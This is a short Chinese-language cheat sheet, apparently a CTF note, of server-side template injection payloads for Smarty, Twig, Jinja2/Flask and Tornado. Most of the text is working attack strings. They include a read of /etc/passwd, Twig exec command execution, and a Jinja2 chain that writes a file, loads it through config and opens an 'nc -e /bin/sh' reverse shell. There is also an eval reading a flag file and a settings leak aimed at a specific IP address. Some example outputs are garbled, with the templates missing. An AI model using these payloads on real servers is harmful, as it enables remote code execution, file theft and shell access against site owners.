0%

SSTI模版注入

SSTI

SSTI判断

1
{{7+7}}

输入会回显,判断回显值。

常用的模版引擎

smarty

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,但是在Smarty 3.1,{php}仅在SmartyBC中可用。

{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

在PHP5即可使用

1
<script language="php">phpinfo();</script>

静态方法:

1
{self::getStreamVariable("file:///etc/passwd")}

在3.1.30的Smarty版本中官方已经把该静态方法删除。利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用。

if头:

1
{if phpinfo()}{/if}

twig

相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self:: 调用静态变量了。

49

会输出49.

payload:

1
2
3
{{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("cat /flag")}} # 执行任意指令

flask/jinja2

49

会输出7777777.

1
2
3
4
5
6
7
8
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL
payload:?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}

tornado

1
http://117.78.26.79:31093/error?msg={{handler.settings}} #获取环境变量,即可获得cookie